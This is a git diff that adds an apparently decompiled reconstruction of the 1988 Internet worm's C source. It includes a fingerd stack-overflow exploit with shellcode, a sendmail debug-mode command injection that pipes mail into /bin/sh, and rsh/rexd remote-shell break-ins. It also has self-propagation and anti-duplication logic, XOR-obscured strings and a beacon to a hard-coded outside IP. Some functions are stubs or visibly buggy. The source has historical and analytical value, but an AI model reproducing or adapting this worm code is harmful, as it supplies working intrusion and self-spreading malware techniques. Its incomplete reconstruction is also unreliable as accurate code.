+/* This routine exploits a fixed 512 byte input buffer in a VAX running + * the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to + * overwrite six extra words in the stack frame, including the return + * PC, to point into the middle of the string sent over. The instructions + * in the string do the direct system call version of execve("/bin/sh"). */ + +static try_finger(host, fd1, fd2) /* 0x49ec,o48[i] == 0) + continue; /* 600 */ + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + continue; + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = host->o48[i]; + sin.sin_port = IPPORT_FINGER; + + alarm(10); + if (connect(s, &sin, sizeof(sin)) < 0) { + alarm(0); + close(s); + continue; + } + alarm(0); + break; + } + if (i >= 6) + return 0; /* 978 */ + for(i = 0; i < 536; i++) /* 628,654 */ + buf[i] = '\0'; + for(i = 0; i < 400; i++) + buf[i] = 1; + for(j = 0; j < 28; j++) + buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j]; + /* constant string x200a0 */ + + /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */ + /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */ + + l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */ + l560 = 0x7fffe8a8; + l564 = 0x7fffe8bc; + l568 = 0x28000000; + l552 = 0x0001c020; + +#ifdef sun + l556 = byte_swap(l556); /* Reverse the word order for the */ + l560 = byte_swap(l560); /* VAX (only Suns have to do this) */ + l564 = byte_swap(l564); + l568 = byte_swap(l568); + l552 = byte_swap(l552); +#endif sun + + write(s, buf, sizeof(buf)); /* sizeof == 536 */ + write(s, XS("\n"), 1); + sleep(5); + if (test_connection(s, s, 10)) { + *fd1 = s; + *fd2 = s; + return 1; + } + close(s); + return 0; +} + +static byte_swap(arg) /* 0x4c48,> 8; + j++; + } + return i; +} + +permute(ptr, num, size) /* 0x4c9a */ + char *ptr; + int num, size; +{ + int i, newloc; + char buf[512]; + + for (i = 0; i < num*size; i+=size) { /* 18,158 */ + newloc = size * (random() % num); + bcopy(ptr+i, buf, size); + bcopy(ptr+newloc, ptr+i, size); + bcopy(buf, ptr+newloc, size); + } +} + + +/* Called from try_rsh_and_mail() */ +static try_mail(host) /* x4d3c */ + struct hst *host; +{ + int i, l8, l12, l16, s; + struct sockaddr_in sin; /* 16 bytes */ + char l548[512]; + int (*old_handler)(); + struct sockaddr saddr; /* Not right */ + int fd_tmp; /* ??? part of saddr * +/ + + if (makemagic(host, &saddr) == 0) + return 0; /* */ + old_handler = signal(SIGALRM, justreturn); + for( i = 0; i < 6; i++) { /* to 430 */ + if (host->o48[i] == NULL) + continue; /* to 422 */ + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + continue; /* to 422 */ + + bzero(&sin, sizeof(sin)); /* 16 */ + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = host->o48[i]; + sin.sin_port = IPPORT_SMTP; + + alarm(10); + if (connect(s, &sin, sizeof(sin)) < 0) { + alarm(0); + close(s); + continue; /* to 422 */ + } + alarm(0); + break; + } + + if (i < 6) + return 0; /* 1054 */ + if (x50bc( s, l548) != 0 || l548[0] != '2') + goto bad; + + send_text(s, XS("debug")); /* "debug" */ + if (x50bc( s, l548) != 0 || l548[0] != '2') + goto bad; + +#define MAIL_FROM "mail from:\n" +#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n" + + send_text(s, XS(MAIL_FROM)); + if (x50bc( s, l548) != 0 || l548[0] != '2') + goto bad; + i = (random() & 0x00FFFFFF); + + sprintf(l548, XS(MAIL_RCPT), i, i); + send_text(s, l548); + if (x50bc( s, l548) != 0 || l548[0] != '2') + goto bad; + + send_text(s, XS("data\n")); + if (x50bc( s, l548) == 0 || l548[0] != '3') + goto bad; + + send_text(s, XS("data\n")); + + compile_slave(host, s, saddr); + + send_text(s, XS("\n.\n")); + + if (x50bc( s, l548) == 0 || l548[0] != '2') { + close(fd_tmp); /* This isn't set yet!!! */ + goto bad; + } + + send_text(s, XS("quit\n")); + if (x50bc( s, l548) == 0 || l548[0] != '2') { + close(fd_tmp); /* This isn't set yet!!! */ + goto bad; + } + + close(s); + return waithit(host, saddr); + bad: + send_text(s, XS("quit\n")); + x50bc(s, l548); + close(s); + return 0; +} + +/* Used only in try_mail() above. This fills buffer with a line of the respon +se */ +static x50bc(s, buffer) /* x50bc, */ + int s; /* socket */ + char *buffer; +{ + /* Fill in exact code later. It's pretty boring. */ +} + + +/* I call this "huristic 1". It tries to breakin using the remote execution + * service. It is called from a subroutine of cracksome_1 with information fr +om + * a user's .forword file. The two name are the original username and the one + * in the .forward file. + */ +hu1(alt_username, host, username2) /* x5178 */ + char *alt_username, *username2; + struct hst *host; +{ + char username[256]; + char buffer2[512]; + char local[8]; + int result, i, fd_for_sh; /* 780, 784, 788 */ + + if (host == me) + return 0; /* 530 */ + if (host->flag & HST_HOSTTWO) /* Already tried ??? */ + return 0; + + if (host->o48[0] || host->hostname == NULL) + getaddrs(host); + if (host->o48[0] == 0) { + host->flag |= HST_HOSTFOUR; + return 0; + } + strncpy(username, username2, sizeof(username)-1); + username[sizeof(username)-1] = '\0'; + + if (username[0] == '\0') + strcpy(username, alt_username); + + for (i = 0; username[i]; i++) + if (ispunct(username[i]) || username[i] < ' ') + return 0; + other_sleep(1); + + fd_for_sh = x538e(host, username, &alt_username[30]); + if (fd_for_sh >= 0) { + result = talk_to_sh(host, fd_for_sh, fd_for_sh); + close(fd_for_sh); + return result; + } + if (fd_for_sh == -2) + return 0; + + fd_for_sh = x538e(me, alt_username, &alt_username[30]); + if (fd_for_sh >= 0) { + sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"), + host->hostname, username); + send_text(fd_for_sh, buffer2); + sleep(10); + result = 0; + if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */ + result = talk_to_sh(host, fd_for_sh, fd_for_sh); + close(fd_for_sh); + return result; + } + return 0; +} + +/* Used in hu1. Returns a file descriptor. */ +/* It goes through the six connections in host trying to connect to the + * remote execution server on each one. + */ +static int x538e(host, name1, name2) + struct hst *host; + char *name1, *name2; +{ + int s, i; + struct sockaddr_in sin; /* 16 bytes */ + int l6, l7; + char in_buf[512]; + + for (i = 0; i < 6; i++) { /* 552,762 */ + if (host->o48[i] == 0) + continue; /* 754 */ + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + continue; + + bzero(&sin, sizeof(sin)); /* 16 */ + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = host->o48[i]; + sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */ + + alarm(8); + signal(SIGALRM, justreturn); + if (connect(s, &sin, sizeof(sin)) < 0) { + alarm(0); + close(s); + continue; + } + alarm(0); + break; + } + if (i >= 6) + return -2; /* 1048 */ + /* Check out the connection by writing a null */ + if (write(s, XS(""), 1) == 1) { + /* Tell the remote execution deamon the hostname, username, and to star +tup + "/bin/sh". */ + write(s, name1, strlen(name1) + 1); + write(s, name2, strlen(name2) + 1); + if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) && + xread(s, in_buf, 1, 20) == 1 && + in_buf[0] == '\0' && + test_connection(s, s, 40) != 0) + return s; + } + close(s); + return -1; +} + +/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful +, + * 0 if not. */ +loadobject(obj_name) /* x5594 */ + char *obj_name; +{ + int fd; + unsigned long size; + struct stat statbuf; + char *object_buf, *suffix; + char local[4]; + + fd = open(obj_name, O_RDONLY); + if (fd < 0) + return 0; /* 378 */ + if (fstat(fd, &statbuf) < 0) { + close(fd); + return 0; + } + size = statbuf.st_size; + object_buf = malloc(size); + if (object_buf == 0) { + close(fd); + return 0; + } + if (read(fd, object_buf, size) != size) { + free(object_buf); + close(fd); + return 0; + } + close(fd); + xorbuf(object_buf, size); + suffix = index(obj_name, ','); + if (suffix != NULL) + suffix+=1; + else + suffix = obj_name; + objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix); + objects[nobjects].size = size; + objects[nobjects].buf = object_buf; + nobjects += 1; + return 1; +} + +/* Returns the object from the 'objects' array that has name, otherwise NULL. +*/ +object *getobjectbyname(name) + char *name; +{ + int i; + + for (i = 0; i < nobjects; i++) + if (strcmp(name, objects[i].name) == 0) + return &objects[i]; + return NULL; +} + +/* Encodes and decodes the binary coming over the socket. */ +xorbuf(buf, size) /* 0x577e */ + char *buf; + unsigned long size; +{ + char *addr_self; /* The address of the xorbuf fuction */ + int i; + + addr_self = (char *)xorbuf; + i = 0; + while (size-- > 0) { + *buf++ ^= addr_self[i]; + i = (i+1) % 10; + } + return; +} + + +static other_fd = -1; + +/* Make a connection to the local machine and see if I'm running in + another process by sending a magic number on a random port and waiting + five minutes for a reply. */ +checkother() /* 0x57d0 */ +{ + int s, l8, l12, l16, optval; + struct sockaddr_in sin; /* 16 bytes */ + + optval = 1; + if ((random() % 7) == 3) + return; /* 612 */ + + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return; + + /* Make a socket to the localhost, using a link-time specific port */ + bzero(&sin, sizeof(sin)); /* 16 */ + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* */ + sin.sin_port = 0x00005b3d; /* ??? */ + + if (connect(s, &sin, sizeof(sin)) < 0) { + close(s); + } else { + l8 = MAGIC_2; /* Magic number??? */ + if (write(s, &l8, sizeof(l8)) != sizeof(l8)) { + close(s); + return; + } + l8 = 0; + if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) { + close(s); + return; + } + if (l8 != MAGIC_1) { + close(s); + return; + } + + l12 = random()/8; + if (write(s, &l12, sizeof(l12)) != sizeof(l12)) { + close(s); + return; + } + + if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) { + close(s); + return; + } + + if (!((l12+l16) % 2)) + pleasequit++; + close(s); + } + sleep(5); + + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return; + + /* Set the socket so that the address may be reused */ + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); + if (bind(s, &sin, sizeof(sin)) < 0) { + close(s); + return; + } + listen(s, 10); + + other_fd = s; + return; +} + +/* Sleep, waiting for another worm to contact me. */ +other_sleep(how_long) /* 0x5a38 */ +{ + int nfds, readmask; + long time1, time2; + struct timeval timeout; + + if (other_fd < 0) { + if (how_long != 0) + sleep(how_long); + return; + } + /* Check once again.. */ + do { + if (other_fd < 0) + return; + readmask = 1 << other_fd; + if (how_long < 0) + how_long = 0; + + timeout.tv_sec = how_long; + timeout.tv_usec = 0; + + if (how_long != 0) + time(&time1); + nfds = select(other_fd+1, &readmask, 0, 0, &timeout); + if (nfds < 0) + sleep(1); + if (readmask != 0) + answer_other(); + if (how_long != 0) { + time(&time2); + how_long -= time2 - time1; + } + } while (how_long > 0); + return; +} + +static answer_other() /* 0x5b14 */ +{ + int ns, addrlen, magic_holder, magic1, magic2; + struct sockaddr_in sin; /* 16 bytes */ + + addrlen = sizeof(sin); + + ns = accept(other_fd, &sin, &addrlen); + + if (ns < 0) + return; /* 620 */ + + magic_holder = MAGIC_1; + if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder) +) { + close(ns); + return; + } + if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) { + close(ns); + return; + } + if (magic_holder != MAGIC_2) { + close(ns); + return; + } + + magic1 = random() / 8; + if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) { + close(ns); + return; + } + if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) { + close(ns); + return; + } + close(ns); + + if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1"))) + return; + + if (((magic1+magic2) % 2) != 0) { + close(other_fd); + other_fd = -1; + pleasequit++; + } + return; +} + +/* A timeout-based read. */ +xread(fd, buf, length, time) /* 0x5ca8 */ + int fd, time; + char *buf; + unsigned long length; +{ + int i, cc, readmask; + struct timeval timeout; + int nfds; + long time1, time2; + + for (i = 0; i < length; i++) { /* 150 */ + readmask = 1 << fd; + timeout.tv_sec = time; + timeout.tv_usec = 0; + if (select(fd+1, &readmask, 0, 0, &timeout) < 0) + return 0; /* 156 */ + if (readmask == 0) + return 0; + if (read(fd, &buf[i], 1) != 1) + return 0; + } + return i; +} + + +/* These are some of the strings that are encyphed in the binary. The + * person that wrote the program probably used the Berkeley 'xstr' program + * to extract and encypher the strings. + */ +#ifdef notdef +char environ[50] = ""; +char *sh = "sh"; +char *env52 = "sh"; /* 0x20034, */ +char *env55 = "-p"; +char *env58 = "l1.c"; +char *env63 = "sh"; +char *env66 = "/tmp/.dump"; +char *env77 = "128.32.137.13"; +char *env91 = "127.0.0.1"; +char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */ +char *env125 = "r"; +char *env127 = "%s%s"; +#endif /* notdef*/ +/* + char *text = + "default + 0.0.0.0 + 127.0.0.1 + exec /bin/sh + l1.c + PATH=/bin:/usr/bin:/usr/ucb + cd /usr/tmp + x%d.c + echo gorch49;sed '/int zz;/q' > %s;echo gorch50 + gorch49 + int zz; + gorch50 + cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE + DONE + x%d,%s + PATH=/bin:/usr/bin:/usr/ucb + rm -f sh + if [ -f sh ] + then + P=x%d + else + P=sh + cc -o $P %s + ./$P -p $$ + rm -f $P + rm -f %s $P + l1.c + cd /usr/tmp + x%d.c + cat > %s <<'EOF' + cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c + /usr/ucb/rsh + /usr/bin/rsh + /bin/rsh + /bin/echo %s + debug + mail from: + rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0"> + data + quit + quit + exec /usr/ucb/rsh %s -l %s 'exec /bin/sh' + /bin/sh + /bin/sh + 127.0.0.1 + 127.0.0.1 + /etc/hosts.equiv + %.100s + /.rhosts + %.200s/.forward + %.20s%.20s + %[^ ,] + %*s %[^ ,]s + %.200s/.forward + %.200s/.rhosts + %s%s + /usr/dict/words"; + */ + +/* + * Local variables: + * compile-command: "cc -S hs.c" + * comment-column: 48 + * End: + */ diff --git a/makefile b/makefile new file mode 100644 index 0000000..04f0703 --- /dev/null +++ b/makefile @@ -0,0 +1,22 @@ +C_FILES = worm.c net.c hs.c cracksome.c stubs.c +H_FILES = worm.h + +OFILES = worm.o net.o hs.o cracksome.o stubs.o + +# Luckily, the original used no optimization +CFLAGS = +# Most sites will have to remove the "-D" -- send for our souped-up version +# of ctags becker@trantor.harris-atd.com + +TAGS_FLAGS = -xDt + +test: $(OFILES) + $(CC) -o test $(OFILES) +$(OFILES): worm.h + +clean: + rm -f *.o *~ *.bak +tags: + ctags -xDt > tags +tar: + tar -cf foo.tar description Makefile $(C_FILES) $(H_FILES) x8113550.c diff --git a/net.c b/net.c new file mode 100644 index 0000000..8910390 --- /dev/null +++ b/net.c @@ -0,0 +1,116 @@ +/* dover */ + +#include "worm.h" +#include +#include +#include +#include +#include +#include + +/* This is the second of five source files linked together to form the '.o' + * file distributed with the worm. + */ + +if_init() /* 0x254c, check again */ +{ + struct ifconf if_conf; + struct ifreq if_buffer[12]; + int s, i, num_ifs, j; + char local[48]; + + nifs = 0; + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return 0; /* if_init+1042 */ + if_conf.ifc_req = if_buffer; + if_conf.ifc_len = sizeof(if_buffer); + + if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) { + close(s); + return 0; /* if_init+1042 */ + } + + num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]); + for(i = 0; i < num_ifs; i++) { /* if_init+144 */ + for (j = 0; j < nifs; j++) + /* Oops, look again. This line needs verified. */ + if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0) + break; + } + +} + +/* Yes all of these are in the include file, but why bother? Everyone knows + netmasks, and they will never change... */ +def_netmask(net_addr) /* 0x2962 */ + int net_addr; +{ + if ((net_addr & 0x80000000) == 0) + return 0xFF000000; + if ((net_addr & 0xC0000000) == 0xC0000000) + return 0xFFFF0000; + return 0xFFFFFF00; +} + +netmaskfor(addr) /* 0x29aa */ + int addr; +{ + int i, mask; + + mask = def_netmask(addr); + for (i = 0; i < nifs; i++) + if ((addr & mask) == (ifs[i].if_l16 & mask)) + return ifs[i].if_l24; + return mask; +} + +rt_init() /* 0x2a26 */ +{ + FILE *pipe; + char input_buf[64]; + int l204, l304; + + ngateways = 0; + pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r")); + /* &env102,&env 125 */ + if (pipe == 0) + return 0; + while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */ + other_sleep(0); + if (ngateways >= 500) + break; + sscanf(input_buf, XS("%s%s"), l204, l304); /* "%s%s" */ + /* other stuff, I'll come back to this later */ + + + } /* 518, back to 76 */ + pclose(pipe); + rt_init_plus_544(); + return 1; +} /* 540 */ + +static rt_init_plus_544() /* 0x2c44 */ +{ +} + +getaddrs() /* 0x2e1a */ +{ +} + +struct bar *a2in(a) /* 0x2f4a, needs to be fixed */ + int a; +{ + static struct bar local; + local.baz = a; + return &local; +} + +/* End of source file in original. */ + +/* + * Local variables: + * compile-command: "cc -S net.c" + * comment-column: 48 + * End: + */ diff --git a/stubs.c b/stubs.c new file mode 100644 index 0000000..fe298e3 --- /dev/null +++ b/stubs.c @@ -0,0 +1,25 @@ +/* dover */ + +/* The version of crypt() used in the worm program has the same tables as + * Berkeley's 4.3 crypt(), but uses different code. Since I don't know where + * we put our 4.2 tape I can't check it against that code to find the exact + * source. I assume that it just a regualar crypt() routine with several + * interior functions declared static, perhaps tuned somewhat for speed on the + * VAX and Sun. + */ +crypt() +{ } + +/* These might not be copyrighted, but I'm not taking the chance. They are + obvious. */ +h_addr2host() +{} +h_name2host() +{} + +/* + * Local variables: + * compile-command: "make test" + * comment-column: 48 + * End: + */ diff --git a/worm.c b/worm.c new file mode 100644 index 0000000..d4da983 --- /dev/null +++ b/worm.c @@ -0,0 +1,174 @@ +/* dover */ + +#include "worm.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern errno; +extern char *malloc(); + +int pleasequit; /* See worm.h */ +int nobjects = 0; +int nextw; +char *null_auth; + +object objects[69]; /* Don't know how many... */ + +object *getobjectbyname(); + +char *XS(); + +main(argc, argv) /* 0x20a0 */ + int argc; + char **argv; +{ + int i, l8, pid_arg, j, cur_arg, unused; + long key; /* -28(fp) */ + struct rlimit rl; + + l8 = 0; /* Unused */ + + strcpy(argv[0], XS("sh")); /* */ + time(&key); + srandom(key); + rl.rlim_cur = 0; + rl.rlim_max = 0; + if (setrlimit(RLIMIT_CORE, &rl)) + ; + signal(SIGPIPE, SIG_IGN); + pid_arg = 0; + cur_arg = 1; + if (argc > 2 && + strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */ + pid_arg = atoi(argv[2]); + cur_arg += 2; + } + for(i = cur_arg; i < argc; i++) { /* otherwise */ + if (loadobject(argv[i]) == 0) + exit(1); + if (pid_arg) + unlink(argv[i]); + } + if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL)) + exit(1); + if (pid_arg) { + for(i = 0; i < 32; i++) + close(i); + unlink(argv[0]); + unlink(XS("sh")); /* */ + unlink(XS("/tmp/.dumb")); /* "/tmp/.dumb" + */ + } + + for (i = 1; i < argc; i++) + for (j = 0; argv[i][j]; j++) + argv[i][j] = '\0'; + if (if_init() == 0) + exit(1); + if (pid_arg) { /* main+600 */ + if (pid_arg == getpgrp(getpid())) + setpgrp(getpid(), getpid()); + kill(pid_arg, 9); + } + mainloop(); +} + +static mainloop() /* 0x2302 */ +{ + long key, time1, time0; + + time(&key); + srandom(key); + time0 = key; + if (hg() == 0 && hl() == 0) + ha(); + checkother(); + report_breakin(); + cracksome(); + other_sleep(30); + while (1) { + /* Crack some passwords */ + cracksome(); + /* Change my process id */ + if (fork() > 0) + exit(0); + if (hg() == 0 && hi() == 0 && ha() == 0) + hl(); + other_sleep(120); + time(&time1); + if (time1 - time0 >= 60*60*12) + h_clean(); + if (pleasequit && nextw > 0) + exit(0); + } +} + +static trans_cnt; +static char trans_buf[NCARGS]; + +char *XS(str1) /* 0x23fc */ + char *str1; +{ + int i, len; + char *newstr; +#ifndef ENCYPHERED_STRINGS + return str1; +#else + len = strlen(str1); + if (len + 1 > NCARGS - trans_cnt) + trans_cnt = 0; + newstr = &trans_buf[trans_cnt]; + trans_cnt += 1 + len; + for (i = 0; str1[i]; i++) + newstr[i] = str1[i]^0x81; + newstr[i] = '\0'; + return newstr; +#endif +} + +/* This report a sucessful breakin by sending a single byte to "128.32.137.13" + * (whoever that is). */ + +static report_breakin(arg1, arg2) /* 0x2494 */ +{ + int s; + struct sockaddr_in sin; + char msg; + + if (7 != random() % 15) + return; + + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_port = REPORT_PORT; + sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13")); + /* "128.32.137.13" */ + + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return; + if (sendto(s, &msg, 1, 0, &sin, sizeof(sin))) + ; + close(s); +} + +/* End of first file in the original source. + * (Indicated by extra zero word in text area.) */ + +/* + * Local variables: + * compile-command: "make" + * comment-column: 48 + * End: + */ diff --git a/worm.h b/worm.h new file mode 100644 index 0000000..f8f4cd8 --- /dev/null +++ b/worm.h @@ -0,0 +1,53 @@ +/* Magic numbers the program uses to identify other copies of itself. */ + +#define REPORT_PORT 0x2c5d +#define MAGIC_1 0x00148898 +#define MAGIC_2 0x00874697 +extern int pleasequit; /* This stops the program after one + * complete pass if set. It is incremented + * inside of checkother if contact with another + * happens. */ + +/* There are pieces of "stub" code, presumably from something like this to + get rid of error messages */ +#define error() + +/* This appears to be a structure unique to this program. It doesn't seem that + * the blank slots are really an array of characters for the hostname, but + * maybe they are. + */ +struct hst { + char *hostname; + int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44; + int o48[6]; /* used */ + int flag; /* used */ +#define HST_HOSTEQUIV 8 +#define HST_HOSTFOUR 4 +#define HST_HOSTTWO 2 + struct hst *next; /* o76 */ +}; + +typedef struct { + char *name; + unsigned long size; + char *buf; +} object; + +extern struct ifses { + int if_l0, if_l4, if_l8, if_l12; /* unused */ + int if_l16; /* used */ + int if_l20; /* unused */ + int if_l24; /* used */ + short if_l28; /* unused */ +} ifs[]; +extern nifs; + +extern int ngateways; + +extern object objects[], *getobjectbyname(); +extern int nobjects; + +/* Only used for a2in(). Why? I don't know. */ +struct bar {int baz;}; +extern struct bar *a2in(); + diff --git a/wormdes.c b/wormdes.c new file mode 100644 index 0000000..66c93f7 --- /dev/null +++ b/wormdes.c @@ -0,0 +1,758 @@ +/* INTERNET WORM CRYPT() ROUTINE +notes from 'Password Cracking: A Game of Wits' by Donn Seeley CACM, +June89 v32n6 pp700-703 : The Worm's crypt algorithm appears to be a +compramise between time and space: the time needed to encrypt one +password guess verses the substantial extra table space needed to +squeeze performance out of the algorithm...The traditional UNIX +algorithm stores each bit of the password in a byte, while the worms +algorithm packs packs the bits into into two 32-bit words. This +permits the worms algorithm to use bitfield and shift operations on +the password data. (also saves a little space!) + Other speedups include unrolling loops, combining tables, +precomputing shifts and masks, and eliminating redundant initial and +final permutations when performing the 25 applications of modified +DES that the password encryption algorithm uses. + The biggest performance improvement comes from combining +permutations: the worm uses expanded arrays which are indexed by +groups of bits rather than single bits. + Bishops DESZIP.c does all these things and also precomputes more +functions yielding twice the performance of the worms algorithm, but +requiring nearly 200KB of initialized data as opposed to the 6KB +used by the worm, and the less than 2KB used by the normal crypt(). + The worms version of crypt ran 9 times faster than the normal crypt +while DESZIP runs about 20 time faster (FDES + DESZIP are about +equivalent). on a VAX 6800 encrypting 271 passwords it took the worms +crypt less than 6 seconds or 45 passwords per sec, and the normal +crypt took 54 seconds or 5 passwords per second. - Tangent */ + +static char e[48] = { /* 0x20404 */ + 31, 0, 1, 2, 3, 4, 3, 4, + 5, 6, 7, 8, 7, 8, 9, 10, + 11, 12, 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, 19, 20, + 21, 22, 23, 24, 23, 24, 25, 26, + 27, 28, 27, 28, 29, 30, 31, 0, +}; + +int shift[16] = { /* 0x20434 */ + 1,1,2,2, 2,2,2,2, 1,2,2,2, 2,2,2,1, +}; +int ip_L0[] = { + 0x00000008, 0x00000008, 0x08000808, 0x08000808, + 0x00000008, 0x00000008, 0x08000808, 0x08000808,}; +int ip_L1[] = { + 0x00000000, 0x00080000, 0x00000000, 0x00080000, + 0x08000000, 0x08080000, 0x08000000, 0x08080000, + 0x00000000, 0x00080000, 0x00000000, 0x00080000, + 0x08000000, 0x08080000, 0x08000000, 0x08080000,}; +int ip_L2[] = { + 0x00000004, 0x00000004, 0x04000404, 0x04000404, + 0x00000004, 0x00000004, 0x04000404, 0x04000404,}; +int ip_L3[] = { + 0x00000000, 0x00040000, 0x00000000, 0x00040000, + 0x04000000, 0x04040000, 0x04000000, 0x04040000, + 0x00000000, 0x00040000, 0x00000000, 0x00040000, + 0x04000000, 0x04040000, 0x04000000, 0x04040000,}; +int ip_L4[] = { + 0x00000002, 0x00000002, 0x02000202, 0x02000202, + 0x00000002, 0x00000002, 0x02000202, 0x02000202,}; +int ip_L5[] = { + 0x00000000, 0x00020000, 0x00000000, 0x00020000, + 0x02000000, 0x02020000, 0x02000000, 0x02020000, + 0x00000000, 0x00020000, 0x00000000, 0x00020000, + 0x02000000, 0x02020000, 0x02000000, 0x02020000,}; +int ip_L6[] = { + 0x00000001, 0x00000001, 0x01000101, 0x01000101, + 0x00000001, 0x00000001, 0x01000101, 0x01000101,}; +int ip_L7[] = { + 0x00000000, 0x00010000, 0x00000000, 0x00010000, + 0x01000000, 0x01010000, 0x01000000, 0x01010000, + 0x00000000, 0x00010000, 0x00000000, 0x00010000, + 0x01000000, 0x01010000, 0x01000000, 0x01010000,}; +int ip_L8[] = { + 0x00000080, 0x00000080, 0x80008080, 0x80008080, + 0x00000080, 0x00000080, 0x80008080, 0x80008080,}; +int ip_L9[] = { + 0x00000000, 0x00800000, 0x00000000, 0x00800000, + 0x80000000, 0x80800000, 0x80000000, 0x80800000, + 0x00000000, 0x00800000, 0x00000000, 0x00800000, + 0x80000000, 0x80800000, 0x80000000, 0x80800000,}; +int ip_La[] = { + 0x00000040, 0x00000040, 0x40004040, 0x40004040, + 0x00000040, 0x00000040, 0x40004040, 0x40004040,}; +int ip_Lb[] = { + 0x00000000, 0x00400000, 0x00000000, 0x00400000, + 0x40000000, 0x40400000, 0x40000000, 0x40400000, + 0x00000000, 0x00400000, 0x00000000, 0x00400000, + 0x40000000, 0x40400000, 0x40000000, 0x40400000,}; +int ip_Lc[] = { + 0x00000020, 0x00000020, 0x20002020, 0x20002020, + 0x00000020, 0x00000020, 0x20002020, 0x20002020,}; +int ip_Ld[] = { + 0x00000000, 0x00200000, 0x00000000, 0x00200000, + 0x20000000, 0x20200000, 0x20000000, 0x20200000, + 0x00000000, 0x00200000, 0x00000000, 0x00200000, + 0x20000000, 0x20200000, 0x20000000, 0x20200000,}; +int ip_Le[] = { + 0x00000010, 0x00000010, 0x10001010, 0x10001010, + 0x00000010, 0x00000010, 0x10001010, 0x10001010,}; +int ip_Lf[] = { + 0x00000000, 0x00100000, 0x00000000, 0x00100000, + 0x10000000, 0x10100000, 0x10000000, 0x10100000, + 0x00000000, 0x00100000, 0x00000000, 0x00100000, + 0x10000000, 0x10100000, 0x10000000, 0x10100000,}; +int ip_H0[] = { + 0x00000000, 0x00080008, 0x00000000, 0x00080008, + 0x08000800, 0x08080808, 0x08000800, 0x08080808,}; +int ip_H1[] = { + 0x00000000, 0x00000000, 0x00080000, 0x00080000, + 0x00000000, 0x00000000, 0x00080000, 0x00080000, + 0x08000000, 0x08000000, 0x08080000, 0x08080000, + 0x08000000, 0x08000000, 0x08080000, 0x08080000,}; +int ip_H2[] = { + 0x00000000, 0x00040004, 0x00000000, 0x00040004, + 0x04000400, 0x04040404, 0x04000400, 0x04040404,}; +int ip_H3[] = { + 0x00000000, 0x00000000, 0x00040000, 0x00040000, + 0x00000000, 0x00000000, 0x00040000, 0x00040000, + 0x04000000, 0x04000000, 0x04040000, 0x04040000, + 0x04000000, 0x04000000, 0x04040000, 0x04040000,}; +int ip_H4[] = { + 0x00000000, 0x00020002, 0x00000000, 0x00020002, + 0x02000200, 0x02020202, 0x02000200, 0x02020202,}; +int ip_H5[] = { + 0x00000000, 0x00000000, 0x00020000, 0x00020000, + 0x00000000, 0x00000000, 0x00020000, 0x00020000, + 0x02000000, 0x02000000, 0x02020000, 0x02020000, + 0x02000000, 0x02000000, 0x02020000, 0x02020000,}; +int ip_H6[] = { + 0x00000000, 0x00010001, 0x00000000, 0x00010001, + 0x01000100, 0x01010101, 0x01000100, 0x01010101,}; +int ip_H7[] = { + 0x00000000, 0x00000000, 0x00010000, 0x00010000, + 0x00000000, 0x00000000, 0x00010000, 0x00010000, + 0x01000000, 0x01000000, 0x01010000, 0x01010000, + 0x01000000, 0x01000000, 0x01010000, 0x01010000,}; +int ip_H8[] = { + 0x00000000, 0x00800080, 0x00000000, 0x00800080, + 0x80008000, 0x80808080, 0x80008000, 0x80808080,}; +int ip_H9[] = { + 0x00000000, 0x00000000, 0x00800000, 0x00800000, + 0x00000000, 